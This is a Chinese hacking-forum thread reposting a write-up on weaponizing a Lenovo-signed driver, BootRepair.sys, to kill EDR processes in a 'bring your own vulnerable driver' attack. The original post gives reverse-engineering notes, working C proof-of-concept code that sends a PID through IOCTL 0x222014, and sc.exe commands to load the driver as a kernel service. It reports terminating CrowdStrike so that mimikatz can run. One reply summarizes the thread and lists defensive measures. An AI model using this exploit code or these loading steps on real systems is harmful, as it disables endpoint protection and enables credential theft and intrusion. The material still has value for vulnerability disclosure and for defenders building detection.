查看: 278|回复: 2

Phantom Killer:逆向并武器化以终止EDR进程

[复制链接]
匿名
匿名  发表于 昨天 10:04 |阅读模式

不久前,我在搜寻驱动程序时,发现了一个与联想电脑管家相关的、非常有意思的联想驱动。
驱动名称:BootRepair.sysSHA256:5ab36c116767eaae53a466fbc2dae7cfd608ed77721f65e83312037fbd57c946
我将该驱动上传到 VirusTotal,结果显示0 报毒、完全干净(这篇文章发布后,用不了多久就会出现 20 个以上报毒)。
qw1.png
该驱动为联想官方驱动,且由联想签名
qw2.png
这看起来是 自带驱动攻击(BYOVD) 的完美目标。我立刻打开 IDA Pro 开始逆向分析该驱动。
驱动对应的 PDB 文件名表明,它用于启动修复或故障排查相关功能。
qw3.png
  • 驱动通过 IoCreateDevice 创建了名为 \Device\BootRepair 的设备,第一个弱点:未使用安全的 DACL 保护设备对象,任何低权限用户均可与该驱动通信。
  • 驱动创建了符号链接 \\DosDevices\BootRepair,用于用户态进程与驱动交互。
  • 可以看到驱动的 MajorFunction 已完成配置。
qw4.png
接下来重点看 MajorFunction[0],每当用户态进程尝试打开驱动句柄时,都会调用该函数。
可以看到该函数直接完成 IRP 请求,没有任何访问校验,无法阻止用户态进程获取驱动句柄。
qw5.jpg
既然我们可以轻松获取驱动句柄,接下来重点分析 MajorFunction[14] 与驱动的 IOCTL 分发逻辑。
IDA Pro 数据类型识别出错,导致反编译结果异常。
qw6.png
我修复了代码并对关键变量重命名,使其更易读。
qw7.png
可以看到,该驱动只使用一个 IOCTL:0x222014。驱动会检查系统缓冲区是否为 4 字节,如果是,则调用 sub_14000198C 并将系统缓冲区作为参数传入。
对 sub_14000198C 逆向后发现,这是一个进程杀除函数:接收进程 PID → 获取进程句柄 → 通过 ZwTerminateProcess 终止进程。
qw8.png
该漏洞极其危险,武器化利用场景如下:
  • 若驱动已加载:任何低权限用户均可无限制访问驱动,杀掉任意进程,包括受保护进程、杀毒软件/EDR 进程。
  • 若驱动未加载:完美适用于 BYOVD 攻击,攻击者可加载此受信任签名驱动到内核,并用它终止杀毒软件/EDR 等受保护进程。
下面编写 POC,逻辑非常清晰:
  • POC 通过符号链接打开驱动。
  • 将目标进程 PID 发送给驱动,并使用正确的 IOCTL。
  • 搞定!进程直接被杀死。

[AppleScript] 查看源码 复制代码
#include <windows.h>#include <stdio.h>int main(int argc, char* argv[]) {    if (argc != 2) {        printf("usage: poc.exe <pid>\n");        return 1;    }    DWORD pid = atoi(argv[1]);    HANDLE h = CreateFileW(L"\\\\.\\BootRepair", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);    if (h == INVALID_HANDLE_VALUE) {        printf("[-] open device failed: %d\n", GetLastError());        return 1;    }    DWORD ret;    if (DeviceIoControl(h, 0x222014, &pid, sizeof(pid), NULL, 0, &ret, NULL))        printf("[+] killed %d\n", pid);    else        printf("[-] ioctl failed: %d\n", GetLastError());    CloseHandle(h);    return 0;}

我们在 CrowdStrike 上测试:CrowdStrike 正常运行且为最新版本,即使用管理员权限也无法终止它。
qw9.png
现在用 sc.exe 加载我们的驱动,可以看到加载完全正常、无任何报错。
[AppleScript] 查看源码 复制代码
sc.exe create PhantomKiller binPath="C:\BootRepair.sys" type=kernelsc.exe start PhantomKiller

qw10.png
现在对 CrowdStrike 进程运行 POC。进程成功被杀死,之后我们就可以运行 mimikatz 等工具。
qw11.png qw12.png
我尚未在其他 EDR 上测试,但结果可想而知:由于该驱动是受信任的,且目前(发表前)未被识别为有漏洞,它可以轻松杀死任何 EDR。
我计划后续放出更多有漏洞的驱动,感兴趣可以在 LinkedIn 和 Medium 关注我。
LinkedIn:
https://www.linkedin.com/in/jehadabudagga/
POC 地址:
https://github.com/redteamfortress/PhantomKiller
POC 备份地址:
https://git.redteamfortress.com/j3h4ck/PhantomKiller







回复

使用道具 举报

发表于 昨天 10:04 | 显示全部楼层

Re: Phantom Killer:逆向并武器化以终止EDR进程

初步总结:
楼主披露了一个联想官方驱动 BootRepair.sys 的严重漏洞。该驱动被联想签名、VT 0报毒,但存在不安全的设备访问控制(DACL)和缺乏IOCTL权限校验。通过逆向,发现其唯一IOCTL 0x222014可接收PID并调用 ZwTerminateProcess 强制终止任意进程,包括受保护的杀毒软件/EDR。楼主提供了POC代码,并在CrowdStrike环境验证了攻击效果,属于典型的BYOVD(自带驱动攻击)场景。

分析:
- 驱动未对设备对象设置安全描述符,任意用户态进程可获取句柄。
- IOCTL处理函数无输入验证,直接执行进程终止操作。
- 攻击者可通过加载此驱动(或利用已加载实例)绕过EDR自我保护。
- 文章包含逆向过程、IDA修复细节及POC代码,技术内容完整。链接指向作者LinkedIn和POC仓库(按规则不输出具体链接)。

综合总结:
该漏洞危害极高,将签名驱动武器化可击穿多数EDR的防篡改机制。风险在于驱动来自联想且签名有效,短期内难以被安全软件直接拦截。漏洞成因是联想驱动设计时假设了可信执行环境,未考虑恶意调用。

建议:
- 对安全运维:监控 \Device\BootRepair 设备句柄的异常打开行为,或通过组策略禁止加载非必要驱动。
- 对联想:应更新驱动,加入访问控制并限制IOCTL调用者权限(如仅允许SYSTEM)。
- 对EDR厂商:可添加该驱动的行为检测规则(如ZwTerminateProcess调用来源)。
- 普通用户:保持驱动更新,使用具备BYOVD检测能力的安全软件。
回复 支持 反对

使用道具 举报

发表于 昨天 13:10 | 显示全部楼层

Re: Phantom Killer:逆向并武器化以终止EDR进程

这个发现很有价值,联想官方签名的驱动居然存在这么简单的权限校验缺失,确实是个理想的 BYOVD 目标。你逆向分析的过程也很清晰,从设备对象没有 DACL 保护到只用一个 IOCTL 就能杀任意进程,逻辑很顺畅。测试 CrowdStrike 能直接干掉也说明杀伤力不小——等 VT 报毒多了,很多 EDR 厂商应该会更新黑名单。感谢你分享 POC 和思路,期待后续更多有漏洞驱动的分析。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-5-23 02:40 , Processed in 0.079558 second(s), 20 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部